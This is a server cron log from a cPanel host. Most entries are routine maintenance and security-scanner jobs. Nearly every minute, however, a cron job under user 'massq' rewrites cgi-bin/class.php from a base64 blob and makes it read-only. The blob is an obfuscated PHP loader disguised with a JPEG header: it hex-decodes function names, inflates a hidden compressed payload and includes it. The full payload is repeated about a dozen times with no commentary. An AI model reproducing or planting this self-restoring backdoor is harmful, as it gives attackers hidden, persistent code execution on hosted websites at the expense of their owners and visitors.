Sep  9 22:38:01 server CROND[3344]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:38:01 server CROND[3343]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:39:01 server CROND[3712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:39:01 server CROND[3713]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:39:01 server CROND[3714]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 22:39:01 server CROND[3715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:40:01 server CROND[4214]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 22:40:01 server CROND[4215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:40:01 server CROND[4218]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 22:40:01 server CROND[4221]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 22:40:01 server CROND[4219]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 22:40:01 server CROND[4220]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 22:40:01 server CROND[4224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:40:01 server CROND[4223]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:41:01 server CROND[5053]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:41:01 server CROND[5054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:41:01 server CROND[5055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:42:01 server CROND[5430]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:42:01 server CROND[5431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:42:01 server CROND[5432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:42:01 server CROND[5433]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 22:43:01 server CROND[5801]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:43:01 server CROND[5802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:43:01 server CROND[5803]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:44:01 server CROND[6172]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:44:01 server CROND[6173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:44:01 server CROND[6174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:45:01 server CROND[6719]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 22:45:01 server CROND[6726]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:45:01 server CROND[6728]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 22:45:01 server CROND[6729]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 22:45:01 server CROND[6732]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 22:45:01 server CROND[6727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:45:01 server CROND[6730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:46:01 server CROND[7544]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:46:01 server CROND[7545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:46:01 server CROND[7546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:47:01 server CROND[7919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:47:01 server CROND[7921]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:47:01 server CROND[7920]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:48:01 server CROND[8299]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:48:01 server CROND[8301]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:48:01 server CROND[8300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:49:01 server CROND[8742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:49:01 server CROND[8743]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:49:01 server CROND[8744]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:50:01 server CROND[9234]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 22:50:01 server CROND[9236]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 22:50:01 server CROND[9238]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 22:50:01 server CROND[9243]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 22:50:01 server CROND[9245]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
